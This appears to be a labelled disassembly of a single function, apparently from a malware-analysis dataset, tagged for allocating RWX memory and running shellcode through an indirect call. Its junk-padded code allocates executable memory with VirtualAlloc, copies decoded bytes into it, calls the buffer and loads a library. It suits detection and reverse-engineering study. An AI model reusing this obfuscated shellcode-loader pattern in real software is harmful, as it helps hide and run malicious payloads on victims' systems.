Function at 0x402000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
shl edi, cl
sub ecx, 0x14d9
inc ecx
add edi, ebx
mov edi, 0x5ade
sub ecx, ebp
shr eax, cl
add esi, 0x34ee
test ebx, esp
and edx, 0x1332
shr edx, 0xad
test ebx, 0x449c
mov eax, 0x4ab7
nop
and ecx, 0x3a2e
mov edi, eax
and edi, edx
shl ecx, 0x4d
dec ebx
xor ecx, 0x7cde
shl edi, 0x82
cmp ebx, ebx
push ebp
pop ecx
and ebp, ebx
inc edx
sub eax, 0x7d49
dec ecx
sub esi, 0x3136
dec edi
mov edx, 0x728a
sub ebx, 0xd79
cmp edi, 0x326d
or eax, ebx
mov esi, edx
shr edx, 0xf3
and ebp, ebx
mov edx, esi
shl ecx, 0x10
add esi, esp
or esi, 0x68a7
nop
nop
inc ebx
dec ecx
shr edi, 0x44
inc esi
shl ecx, cl
dec ecx
inc esi
xchg ebx, eax
inc edi
mov edx, esp
cmp esi, 0x15c5
and esi, ebp
shr eax, 0xcc
push 0x72aa
pop edx
and eax, 0x473c
xor eax, 0x55be
add esi, eax
sub edx, 0x54d3
add eax, ebx
shl ecx, cl
shr eax, 0x55
dec esi
add ecx, 0x6dce
nop
inc eax
or ecx, 0x24c1
shl ecx, 0xb7
shr esi, 0xc4
xchg esi, ecx
nop
mov ecx, 0x37dd
shl ecx, 0xa9
push ebx
pop edi
and edx, esp
dec esi
shl ebp, 0xe5
dec ebx
inc edi
shl eax, 0x65
sub ebp, 0x41f2
shr eax, 0x75
add edi, esp
sub edi, esp
shr esi, 0x23
inc ecx
nop
nop
cmp edx, esp
sub ecx, 0x733c
shr esi, 9
inc eax
and ecx, edi
xor ebp, esp
or edx, esp
add edi, edx
dec edi
dec eax
inc edx
add edi, edi
xor ecx, edx
xchg edi, ebx
and edx, 0x5e81
inc edx
dec ecx
or edx, 0x75ef
and ebp, 0x5d78
xchg edi, eax
sub ecx, edi
nop
cmp ecx, ebx
and ecx, 0x1274
and ecx, 0x6694
sub ebp, edx
sub ebp, ecx
shr ecx, 0xce
nop
dec ebx
shr edi, cl
cmp eax, ecx
add edi, ebx
dec edx
cmp esi, ecx
inc ebp
mov ecx, 0x6df
xor edx, ecx
mov ebp, ebp
shr eax, cl
mov ebp, ecx
add edx, 0x63c8
xchg edx, ebp
dec esi
xchg esi, esi
inc ecx
shr ecx, 0x8f
shl edx, 0x42
sub ecx, ebx
nop
nop
inc edx
shl esi, 0x80
nop
mov ebp, esp
dec ecx
nop
and ebp, esi
nop
shr esi, cl
dec eax
shl ecx, 0x8e
nop
shl ecx, 0xf
dec edx
cmp edi, ebp
add esi, 0x2c5e
inc edx
shl ebx, 0xf7
xchg edx, edx
shr esi, cl
test edi, esi
mov ecx, 0x60d2
inc ecx
push 0x6e6a
pop esi
cmp ebx, eax
inc eax
nop
xchg ecx, edx
or esi, ebx
nop
push 0x3f4c
pop edi
mov edi, ebx
shl edi, 0x53
inc edx
add ecx, 0x8a7
nop
push eax
pop edi
dec ebp
nop
nop
xchg ebx, ecx
push 0x2ef2
pop ebx
cmp edx, esp
nop
push 0x7436
pop ecx
test edx, 0x7368
push ebx
pop edx
mov esi, 0x4fbc
shl edi, cl
dec ebp
dec ebx
test ebp, edi
xchg ebp, eax
or edx, 0x554c
mov ebp, ebx
shr esi, 0x40
mov edx, eax
xchg ecx, edi
dec edi
test edx, ebp
add ecx, ecx
inc esi
inc edi
dec eax
push ecx
pop edi
or ecx, esp
push eax
pop eax
push 0x60a8
pop edi
push 0x61d7
pop edx
dec edi
push 0xc64
pop eax
add edi, ecx
inc eax
inc ebx
nop
mov ecx, 0x392d
shl ebp, 0
xor esi, ebp
inc ecx
push 0x2d4
pop ebx
nop
mov ecx, 0x7783
shr ebx, 0x48
dec ecx
or esi, 0x51f
inc ebp
shr eax, 0x2e
or ecx, esp
xchg edi, edx
dec esi
shr esi, 0xf6
or eax, eax
shl edi, 0x8b
shl ebp, cl
shl eax, 0x65
test esi, edi
or ebp, esi
sub eax, 0xc18
mov edx, edx
or ecx, esp
mov eax, 0x6c8a
push edx
pop ecx
nop
shr ecx, 0x8b
add ebx, ebx
dec edi
add ecx, esi
and ebx, eax
shl ebp, 0x84
nop
push 0x12f9
pop ecx
shl ebp, 0x9f
xor ebp, 0x69d2
shr ebp, 0xd8
and edx, ecx
push 0x44d7
pop ecx
xchg edi, esi
inc esi
and eax, esi
push 0x40
push 0x1000
shl eax, 0xa1
and edi, 0xfb8
mov edi, esp
push 0x60000
cmp esi, 0x1714
inc edi
shr edi, 0x8c
shr ebp, 0x2f
shl eax, cl
shl ecx, 0xca
and ecx, esi
shr ebx, cl
push eax
pop edx
mov ebx, ebp
cmp ebx, 0x4759
dec ecx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
dec ebx
add ebp, 0xeef
xor ecx, 0x46c5
xor ebx, 0x2687
or edx, ecx
test ecx, 0x4e4
dec ebp
test ebx, 0x5d7b
sub ebx, ebp
mov edi, ebx
and ebp, ebx
add edi, esi
dec esi
or edi, edx
dec ebx
sub edx, esp
inc edx
inc ecx
nop
mov ebx, ebp
sub edx, 0x773a
xchg esi, edx
push 0x9a6
pop ecx
dec edi
mov dword [0x401004], eax
push 0
pop ebx
nop
dec edi
add ebp, esp
shl ebp, 0x9e
and ebp, 0x3471
mov edx, 0
shr eax, cl
mov eax, edx
sub eax, 0x6461
or ecx, 0x651e
test esi, ebp
nop
push esp
pop edi
mov esi, eax
dec eax
cmp eax, 0x5d7a
cmp eax, ebp
shr esi, cl
shl esi, 0x20
and eax, 0x2715
xchg ecx, ecx
shl esi, 0x3a
add ebp, eax
cmp eax, eax
xor eax, esi
test eax, 0x7def
sub eax, 0x6021
shr ecx, cl
mov edi, 0x3213
shl eax, 0xfe
and esi, esp
and ecx, esp
inc eax
shl esi, 0xe0
xor ecx, ecx
shl esi, 0xf3
mov eax, ebp
sub eax, 0xcfd
inc edi
shr ebp, cl
push esi
pop esi
dec eax
mov eax, 0x7ae9
inc esi
mov cl, byte [edx + 0x4032cf]
cmp cl, 0x98
jne 0x4023b1
xor ebx, ebx
cmp cl, 0xb0
jne 0x4023c9
mov esi, ecx
xchg esi, eax
inc ebp
shl eax, 0xc2
cmp eax, esp
sub ebp, ebx
xor ebx, ebx
or ebx, 0x91
shr ebp, 0x7a
cmp esi, esp
or esi, 0x3b25
shl edi, 0x57
sub ebp, esi
or ebp, esp
dec edi
nop
mov esi, 0x7b91
mov edi, 0x78c2
shr edi, cl
shl esi, 0x8a
shl eax, 0xc5
nop
mov esi, esi
cmp edi, ebp
add ebp, ebp
sub esi, ecx
shl eax, 0xb4
or cl, bl
mov eax, 0x1f2c
shl ecx, 3
mov ebp, ebp
nop
and esi, ecx
shl edi, 0xb0
inc edi
push 0x4628
pop esi
add edi, ebx
inc ebp
and ebp, 0x1a86
nop
push 0x3a2a
pop eax
dec ebp
shl ebp, 0xa8
inc eax
add ebp, 0x2ae4
and esi, ecx
xor edi, edi
test eax, ebp
nop
push ebp
pop ebp
inc edi
mov esi, ebx
mov esi, 0x40255d
add esi, ecx
mov ecx, edx
test edi, esi
cmp ebp, eax
mov edi, edx
shl ecx, 3
or edi, ebp
xor edi, esi
cmp eax, ebx
mov edi, dword [0x401004]
add edi, ecx
push 0
pop ecx
xor ecx, 8
mov ebp, 0x6cdd
inc ebp
cmp ebp, 0x2062
nop
rep movsb byte es:[edi], byte [esi]
inc ebp
sub ebp, 0x4baf
push esp
pop esi
cmp eax, 0x69d4
dec eax
nop
cmp ebp, eax
nop
inc edi
nop
inc eax
shr ecx, 0xae
mov ecx, esp
push eax
pop eax
cmp esi, 0x7d70
push ecx
pop eax
nop
inc edx
cmp edx, 0xa98e
jne 0x402381
xor ecx, edx
shr eax, 0x39
push ecx
pop eax
add edx, 0x4ba7
and ebx, 0x4dad
dec esi
xor ebp, esi
inc ebp
nop
shr ebx, 0x2b
nop
push 0x6419
pop esi
xor edi, edx
mov ecx, esp
mov ecx, 0x6c53
mov ecx, esp
nop
test ecx, 0x54e9
shl esi, 0xb8
add ebp, 0x5e03
dec edx
dec esi
shr eax, 0xce
nop
shr eax, 0xed
dec edx
inc edx
call dword [0x401004]
inc edx
mov ebp, edi
dec esi
test edx, ebp
sub edi, ecx
cmp ecx, eax
push esi
pop edi
push 0x189e
pop edx
sub ebx, ecx
shr edx, cl
add eax, ebp
xor ebp, esi
dec ebx
nop
mov ebp, 0x4bc9
cmp ecx, eax
sub eax, 0x328f
sub ebx, edx
sub esi, edx
add ebx, 0x1f32
nop
mov esi, edx
mov edi, ebx
mov edi, 0x93a
inc eax
shr esi, 0x54
or ebx, ecx
test eax, edi
shl ebx, 0x4c
inc ebp
cmp edi, 0x6345
test eax, ecx
mov ebp, ebp
inc ebp
dec edi
shl esi, cl
inc ecx
inc eax
shl ecx, 0x51
nop
shl edx, 0xf6
inc ebx
nop
shl ebp, 0xb8
push ebp
pop ecx
nop
shl eax, cl
shl esi, 0x16
mov edx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ebx
nop
nop
nop
nop
nop
mov edx, ebx
nop
nop
nop
nop
nop
nop
mov edx, ebx
nop
nop
nop
nop
nop
add ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
and ebx, ecx
nop
nop
nop
add ebx, ecx
nop
nop
nop
nop
and ebx, ecx
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
nop
pushal
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, dword [ebx]
nop
nop
nop
pushal
nop
nop
nop
nop
nop
nop
call ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
add ebx, 1
nop
nop
mov ebx, dword [ebx]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ebx
nop
nop
nop
push ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [edi], ebx
nop
nop
nop
nop
nop
nop
push ebx
nop
nop
nop
nop
nop
nop
nop
mov dword [edi], ebx
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
nop
nop
nop
nop
nop
nop
nop
nop
and ebx, ecx
nop
nop
nop
nop
nop
nop
nop
push ebx
and ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, dword [ebx]
nop
nop
add ebx, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, dword [ebx]
nop
nop
nop
nop
sub ebx, 1
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, dword [ebx]
nop
add ebx, 1
nop
nop
nop
nop
nop
mov ebx, dword [ebx]
nop
nop
nop
nop
nop
nop
nop
nop
nop
and ebx, ecx
nop
nop
nop
mul ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ebx
nop
nop
mul ebx
nop
nop
nop
nop
nop
nop
nop
mov edx, ebx
nop
nop
nop
nop
nop
nop
add ebx, ecx
nop
nop
nop
nop
call 0x40268a
pop ebx
nop
nop
nop
nop
nop
add ebx, ecx
nop
nop
nop
call 0x40269a
pop ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop ebx
nop
nop
nop
nop
mov ebx, eax
nop
nop
nop
pop ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, eax
nop
nop
nop
nop
pop ebx
nop
nop
nop
nop
nop
nop
add ebx, 1
nop
nop
nop
je 0x4026d1
jmp esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ebx
nop
nop
nop
nop
nop
push ebx
nop
nop
nop
nop
nop
mov dword [edi], ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
nop
nop
nop
nop
mov dword [edi], ebx
nop
nop
nop
push ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, ebx
nop
nop
nop
nop
push ebx
nop
nop
nop
nop
nop
nop
nop
mov esi, ebx
nop
nop
nop
nop
nop
nop
nop
nop
pop ebx
nop
nop
nop
nop
add ebx, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop ebx
nop
nop
nop
nop
sub ebx, 1
nop
nop
pop ebx
nop
nop
nop
nop
nop
nop
nop
nop
add ebx, 1
nop
nop
nop
nop
nop
nop
pop ebx
nop
nop
nop
nop
nop
nop
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
nop
mov dword [edi], ebx
nop
nop
nop
nop
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
nop
nop
nop
mov dword [edi], ebx
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
and ebx, ecx
nop
nop
nop
nop
nop
add ebx, ecx
nop
nop
nop
nop
nop
nop
nop
and ebx, ecx
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
nop
mov ebx, dword [ebx]
nop
nop
nop
nop
nop
nop
pushal
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
nop
nop
nop
add ebx, 1
nop
nop
nop
nop
nop
mov ebx, dword [ebx]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ebx
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
nop
mov dword [edi], ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
nop
nop
mov dword [edi], ebx
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
and ebx, ecx
nop
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
and ebx, ecx
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
nop
add ebx, 1
nop
nop
nop
mov ebx, dword [ebx]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sub ebx, 1
popal
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add ebx, 1
nop
nop
nop
nop
nop
mov ebx, dword [ebx]
nop
nop
nop
nop
nop
nop
nop
nop
nop
and ebx, ecx
mov edi, ebx
nop
nop
nop
nop
nop
nop
mov dword [edi], ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, ebx
nop
nop
nop
nop
nop
nop
mov dword [edi], ebx
nop
nop
mov edi, ebx
nop
nop
nop
nop
nop
nop
call 0x40288a
pop ebx
nop
nop
nop
nop
nop
mov edi, ebx
nop
nop
nop
nop
nop
nop
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, ebx
nop
nop
nop
nop
nop
nop
mov ebx, eax
nop
nop
nop
nop
mov edi, ebx
nop
nop
nop
nop
nop
mov ebx, eax
nop
nop
nop
nop
nop
mov edi, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
add ebx, 1
nop
nop
mov edi, ebx
nop
nop
nop
nop
nop
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, ebx
nop
nop
nop
nop
nop
nop
mov dword [edi], ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
nop
nop
nop
mov dword [edi], ebx
nop
nop
nop
nop
nop
nop
nop
mov edi, ebx
nop
nop
mov esi, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], bl
nop
nop
nop
nop
mov eax, ebx
nop
nop
mov edi, ebx
nop
nop
nop
nop
nop
nop
nop
nop
add ebx, 1
nop
nop
nop
jne 0x402955
nop
nop
nop
nop
nop
nop
nop
sub ebx, 1
nop
nop
nop
nop
nop
mov edi, ebx
nop
nop
nop
nop
nop
nop
nop
nop
add ebx, 1
nop
nop
mov byte [edi], bl
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ebx
nop
nop
mov ebx, section..data
nop
nop
mov ebx, section..data
nop
nop
mov ebx, section..data
nop
nop
nop
nop
nop
nop
mov ebx, section..data
nop
nop
nop
add ebx, ecx
nop
nop
nop
nop
shl ebx, cl
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add ebx, ecx
nop
nop
nop
nop
nop
nop
shl ebx, cl
nop
nop
nop
nop
nop
nop
shr ebx, cl
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, ebp
nop
mov ebx, eax
nop
nop
nop
nop
nop
shr ebx, cl
nop
nop
nop
nop
nop
nop
nop
nop
nop
add ebx, 1
nop
nop
mov ebp, ebx
nop
nop
nop
nop
nop
nop
nop
mov ebp, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, section..data
nop
nop
mov ebx, section..data
nop
nop
mov ebx, section..data
nop
nop
mov ebx, section..data
nop
nop
nop
nop
nop
nop
nop
nop
nop
shl ebx, cl
nop
nop
shl ebx, cl
nop
nop
nop
nop
nop
shl ebx, cl
nop
nop
nop
nop
nop
nop
shl ebx, cl
nop
nop
nop
nop
nop
nop
xor ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, edx
nop
nop
nop
mov ebx, eax
nop
nop
nop
nop
nop
nop
shl ebx, cl
nop
nop
nop
nop
nop
nop
nop
add ebx, 1
nop
nop
mov ebx, edx
nop
nop
nop
nop
nop
mov ebp, ebx
nop
nop
nop
nop
nop
nop
xchg ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
div ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, section..data
nop
nop
nop
nop
add ebx, 1
nop
nop
nop
nop
nop
nop
mov ebx, section..data
nop
nop
mov ebx, section..data
nop
nop
add ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
shl ebx, cl
add ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
shl ebx, cl
nop
nop
nop
nop
nop
nop
nop
nop
nop
shr ebx, cl
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, ebp
nop
nop
mov ebx, eax
nop
nop
nop
nop
nop
nop
add ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add ebx, 1
nop
mov ebp, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebp, ebx
nop
nop
nop
nop
nop
nop
sub ebx, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sub ebx, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, section..data
nop
nop
nop
nop
nop
nop
mov ebx, section..data
nop
nop
mov ebx, section..data
nop
nop
mov ebx, section..data
nop
nop
nop
nop
nop
nop
nop
nop
shl ebx, cl
nop
nop
nop
shl ebx, cl
nop
nop
nop
nop
nop
nop
nop
nop
nop
shl ebx, cl
nop
nop
nop
nop
shl ebx, cl
nop
nop
xor ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, edx
nop
nop
nop
nop
mov ebx, eax
nop
nop
nop
nop
nop
nop
nop
nop
shl ebx, cl
nop
nop
nop
nop
nop
nop
add ebx, 1
nop
nop
nop
nop
nop
nop
mov ebx, edx
nop
nop
nop
nop
nop
nop
nop
nop
mov ebp, ebx
nop
nop
nop
nop
nop
xor ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
div ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
mov al, 0x13
dec esi
outsb dx, byte [esi]
fstp st(3)
mov esp, 0xd1c0021f
push ebp
jp 0x402d45
stosb byte es:[edi], al
dec edi
movsb byte es:[edi], byte [esi]
stosd dword es:[edi], eax
push ss
int1
invalid